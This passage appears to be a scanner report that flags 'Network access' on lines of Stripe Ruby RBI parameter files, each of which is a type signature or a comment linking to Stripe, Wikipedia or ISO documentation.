    # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_
  • Network accessline 138
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }             def price=(_price); end             # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through 
  • Network accessline 139
    def price=(_price); end             # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow.             sig { returns(T.nilable(Integer)) }
  • Network accessline 140
    # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow.
  • Network accessline 155
    }           def discounts=(_discounts); end           # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple item
  • Network accessline 156
    def discounts=(_discounts); end           # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not up
  • Network accessline 157
    # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable.
  • Network accessline 220
    ); end       end       # The ID of an existing [configuration](https://docs.stripe.com/api/customer_portal/configuration) to use for this session, describing its functionality and features. If not specified, the session uses the default con
  • Network accessline 221
    end       # The ID of an existing [configuration](https://docs.stripe.com/api/customer_portal/configuration) to use for this session, describing its functionality and features. If not specified, the session uses the default configuration.  
  • Network accessline 222
    # The ID of an existing [configuration](https://docs.stripe.com/api/customer_portal/configuration) to use for this session, describing its functionality and features. If not specified, the session uses the default configuration.
  • Network accessline 240
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/custo
  • Network accessline 241
    def expand=(_expand); end       # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows
  • Network accessline 242
    # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows.
  • Network accessline 252
    sig { params(_locale: T.nilable(String)).returns(T.nilable(String)) }       def locale=(_locale); end       # The `on_behalf_of` account to use for this session. When specified, only subscriptions and invoices with this `on_behalf_of` accou
  • Network accessline 253
    def locale=(_locale); end       # The `on_behalf_of` account to use for this session. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.s
  • Network accessline 254
    # The `on_behalf_of` account to use for this session. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.stripe.com/connect/separate-charg

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/charge_capture_params.rbi

  • Network accessline 39
    sig { params(_receipt_email: T.nilable(String)).returns(T.nilable(String)) }     def receipt_email=(_receipt_email); end     # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value over
  • Network accessline 40
    def receipt_email=(_receipt_email); end     # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requireme
  • Network accessline 41
    # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [
  • Network accessline 46
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descripto
  • Network accessline 47
    def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f
  • Network accessline 48
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 51
    sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor_suffix=(_statement_descriptor_suffix); end     # An optional dictionary including the account to automatically transfer 
  • Network accessline 52
    def statement_descriptor_suffix=(_statement_descriptor_suffix); end     # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/con
  • Network accessline 53
    # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 58
    }     def transfer_data=(_transfer_data); end     # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/
  • Network accessline 59
    def transfer_data=(_transfer_data); end     # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separa
  • Network accessline 60
    # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) f

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/charge_create_params.rbi

  • Network accessline 20
    end     class RadarOptions < ::Stripe::RequestParams       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your paym
  • Network accessline 21
    class RadarOptions < ::Stripe::RequestParams       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.   
  • Network accessline 22
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 35
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 36
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 37
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 55
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 56
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 57
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 118
    def initialize(amount: nil, destination: nil); end     end     # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-dec
  • Network accessline 119
    end     # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge
  • Network accessline 120
    # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a
  • Network accessline 128
    sig { params(_application_fee: T.nilable(Integer)).returns(T.nilable(Integer)) }     def application_fee=(_application_fee); end     # A fee in cents (or local equivalent) that will be applied to the charge and transferred to the applicatio
  • Network accessline 129
    def application_fee=(_application_fee); end     # A fee in cents (or local equivalent) that will be applied to the charge and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the `Stripe-A
  • Network accessline 130
    # A fee in cents (or local equivalent) that will be applied to the charge and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the `Stripe-Account` header in order to take an application f
  • Network accessline 133
    sig { params(_application_fee_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }     def application_fee_amount=(_application_fee_amount); end     # Whether to immediately capture the charge. Defaults to `true`. When `false`, the cha
  • Network accessline 134
    def application_fee_amount=(_application_fee_amount); end     # Whether to immediately capture the charge. Defaults to `true`. When `false`, the charge issues an authorization (or pre-authorization), and will need to be [captured](https://a
  • Network accessline 135
    # Whether to immediately capture the charge. Defaults to `true`. When `false`, the charge issues an authorization (or pre-authorization), and will need to be [captured](https://api.stripe.com#capture_charge) later. Uncaptured charges expire
  • Network accessline 138
    sig { params(_capture: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def capture=(_capture); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported curr
  • Network accessline 139
    def capture=(_capture); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(T.nilable(String)) }
  • Network accessline 140
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 165
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 166
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 167
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 172
    }     def metadata=(_metadata); end     # The Stripe account ID for which these funds are intended. You can specify the business of record as the connected account using the `on_behalf_of` attribute on the charge. For details, see [Creating
  • Network accessline 173
    def metadata=(_metadata); end     # The Stripe account ID for which these funds are intended. You can specify the business of record as the connected account using the `on_behalf_of` attribute on the charge. For details, see [Creating Separ
  • Network accessline 174
    # The Stripe account ID for which these funds are intended. You can specify the business of record as the connected account using the `on_behalf_of` attribute on the charge. For details, see [Creating Separate Charges and Transfers](https:/
  • Network accessline 177
    sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) }     def on_behalf_of=(_on_behalf_of); end     # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 178
    def on_behalf_of=(_on_behalf_of); end     # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.     sig { returns(T.nilable(ChargeCreateParams::RadarOptions)) }
  • Network accessline 179
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 184
    }     def radar_options=(_radar_options); end     # The email address to which this charge's [receipt](https://docs.stripe.com/dashboard/receipts) will be sent. The receipt will not be sent until the charge is paid, and no receipts will be 
  • Network accessline 185
    def radar_options=(_radar_options); end     # The email address to which this charge's [receipt](https://docs.stripe.com/dashboard/receipts) will be sent. The receipt will not be sent until the charge is paid, and no receipts will be sent f
  • Network accessline 186
    # The email address to which this charge's [receipt](https://docs.stripe.com/dashboard/receipts) will be sent. The receipt will not be sent until the charge is paid, and no receipts will be sent for test mode charges. If this charge is for 
  • Network accessline 196
    }     def shipping=(_shipping); end     # A payment source to be charged. This can be the ID of a [card](https://docs.stripe.com/api#cards) (i.e., credit or debit card), a [bank account](https://docs.stripe.com/api#bank_accounts), a [source
  • Network accessline 197
    def shipping=(_shipping); end     # A payment source to be charged. This can be the ID of a [card](https://docs.stripe.com/api#cards) (i.e., credit or debit card), a [bank account](https://docs.stripe.com/api#bank_accounts), a [source](http
  • Network accessline 198
    # A payment source to be charged. This can be the ID of a [card](https://docs.stripe.com/api#cards) (i.e., credit or debit card), a [bank account](https://docs.stripe.com/api#bank_accounts), a [source](https://docs.stripe.com/api#sources), 
  • Network accessline 201
    sig { params(_source: T.nilable(String)).returns(T.nilable(String)) }     def source=(_source); end     # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's d
  • Network accessline 202
    def source=(_source); end     # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including
  • Network accessline 203
    # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [
  • Network accessline 208
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descripto
  • Network accessline 209
    def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f
  • Network accessline 210
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 213
    sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor_suffix=(_statement_descriptor_suffix); end     # An optional dictionary including the account to automatically transfer 
  • Network accessline 214
    def statement_descriptor_suffix=(_statement_descriptor_suffix); end     # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/con
  • Network accessline 215
    # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 220
    }     def transfer_data=(_transfer_data); end     # A string that identifies this transaction as part of a group. For details, see [Grouping transactions](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options).
  • Network accessline 221
    def transfer_data=(_transfer_data); end     # A string that identifies this transaction as part of a group. For details, see [Grouping transactions](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options).     sig {
  • Network accessline 222
    # A string that identifies this transaction as part of a group. For details, see [Grouping transactions](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/charge_search_params.rbi

  • Network accessline 20
    sig { params(_page: T.nilable(String)).returns(T.nilable(String)) }     def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query 
  • Network accessline 21
    def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for charges](https://docs.stripe.com/search#query-fields-for-char
  • Network accessline 22
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for charges](https://docs.stripe.com/search#query-fields-for-charges).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/charge_update_params.rbi

  • Network accessline 21
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 22
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 23
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 41
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 42
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 43
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 112
    }     def fraud_details=(_fraud_details); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form
  • Network accessline 113
    def fraud_details=(_fraud_details); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 114
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 131
    }     def shipping=(_shipping); end     # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-c
  • Network accessline 132
    def shipping=(_shipping); end     # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges
  • Network accessline 133
    # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) f

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/checkout/session_create_params.rbi

  • Network accessline 7
    class SessionCreateParams < ::Stripe::RequestParams       class AdaptivePricing < ::Stripe::RequestParams         # If set to `true`, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-
  • Network accessline 8
    class AdaptivePricing < ::Stripe::RequestParams         # If set to `true`, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restricti
  • Network accessline 9
    # If set to `true`, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions). Defaults to your [dashboard setting](https://dashb
  • Network accessline 61
    def initialize(account: nil, type: nil); end         end         # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 62
    end         # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.         #
  • Network accessline 63
    # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 82
    class BrandingSettings < ::Stripe::RequestParams         class Icon < ::Stripe::RequestParams           # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type
  • Network accessline 83
    class Icon < ::Stripe::RequestParams           # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise.           sig { ret
  • Network accessline 84
    # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 101
    end         class Logo < ::Stripe::RequestParams           # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 102
    class Logo < ::Stripe::RequestParams           # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise.           sig { ret
  • Network accessline 103
    # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 141
    sig { params(_display_name: T.nilable(String)).returns(T.nilable(String)) }         def display_name=(_display_name); end         # The font family for the Checkout Session corresponding to one of the [supported font families](https://docs.
  • Network accessline 142
    def display_name=(_display_name); end         # The font family for the Checkout Session corresponding to one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-
  • Network accessline 143
    # The font family for the Checkout Session corresponding to one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility).
  • Network accessline 203
    def promotions=(_promotions); end         # If set to `required`, it requires customers to check a terms of service checkbox before being able to pay.         # There must be a valid terms of service URL set in your [Dashboard settings](htt
  • Network accessline 204
    # If set to `required`, it requires customers to check a terms of service checkbox before being able to pay.         # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public)
  • Network accessline 205
    # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public).
  • Network accessline 563
    }           def issuer=(_issuer); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 564
    def issuer=(_issuer); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 565
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 645
    }             def images=(_images); end             # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured fo
  • Network accessline 646
    def images=(_images); end             # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 647
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 657
    sig { params(_name: String).returns(String) }             def name=(_name); end             # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 658
    def name=(_name); end             # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.             sig { returns(T.nilable(String)) }
  • Network accessline 659
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 693
    def initialize(interval: nil, interval_count: nil); end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre
  • Network accessline 694
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(String) }
  • Network accessline 695
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 698
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of
  • Network accessline 699
    def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.           sig { re
  • Network accessline 700
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 703
    sig { params(_product: T.nilable(String)).returns(T.nilable(String)) }           def product=(_product); end           # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product
  • Network accessline 704
    def product=(_product); end           # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.           sig {
  • Network accessline 705
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 719
    }           def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the 
  • Network accessline 720
    def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s
  • Network accessline 721
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 754
    }         def adjustable_quantity=(_adjustable_quantity); end         # The [tax rates](https://docs.stripe.com/api/tax_rates) that will be applied to this line item depending on the customer's billing/shipping address. We currently support
  • Network accessline 755
    def adjustable_quantity=(_adjustable_quantity); end         # The [tax rates](https://docs.stripe.com/api/tax_rates) that will be applied to this line item depending on the customer's billing/shipping address. We currently support the follo
  • Network accessline 756
    # The [tax rates](https://docs.stripe.com/api/tax_rates) that will be applied to this line item depending on the customer's billing/shipping address. We currently support the following countries: US, GB, AU, and all countries in the EU.
  • Network accessline 761
    }         def dynamic_tax_rates=(_dynamic_tax_rates); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a
  • Network accessline 762
    def dynamic_tax_rates=(_dynamic_tax_rates); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure
  • Network accessline 763
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 768
    }         def metadata=(_metadata); end         # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required.
  • Network accessline 769
    def metadata=(_metadata); end         # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required.         sig { returns(T.nilable(String)) }
  • Network accessline 770
    # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required.
  • Network accessline 773
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }         def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required
  • Network accessline 774
    def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.         sig { returns(T.nilable(Checkout::SessionCreateParams::LineItem::Pr
  • Network accessline 775
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 785
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }         def quantity=(_quantity); end         # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item.
  • Network accessline 786
    def quantity=(_quantity); end         # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item.         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 787
    # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item.
  • Network accessline 880
    }         def adjustable_quantity=(_adjustable_quantity); end         # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object.
  • Network accessline 881
    def adjustable_quantity=(_adjustable_quantity); end         # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object.         sig { returns(String) }
  • Network accessline 882
    # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object.
  • Network accessline 903
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 904
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 905
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 923
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }             def postal_code=(_postal_code); end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 924
    def postal_code=(_postal_code); end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 925
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 995
    def initialize(amount: nil, destination: nil); end         end         # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of
  • Network accessline 996
    end         # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total 
  • Network accessline 997
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 1010
    sig { params(_description: T.nilable(String)).returns(T.nilable(String)) }         def description=(_description); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be us
  • Network accessline 1011
    def description=(_description); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 1012
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1024
    sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) }         def on_behalf_of=(_on_behalf_of); end         # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified fo
  • Network accessline 1025
    def on_behalf_of=(_on_behalf_of); end         # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings]
  • Network accessline 1026
    # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).
  • Network accessline 1029
    sig { params(_receipt_email: T.nilable(String)).returns(T.nilable(String)) }         def receipt_email=(_receipt_email); end         # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#futu
  • Network accessline 1030
    def receipt_email=(_receipt_email); end         # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment         # method collected by this Checkout Session.
  • Network accessline 1031
    # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment
  • Network accessline 1060
    }         def shipping=(_shipping); end         # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requir
  • Network accessline 1061
    def shipping=(_shipping); end         # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, in
  • Network accessline 1062
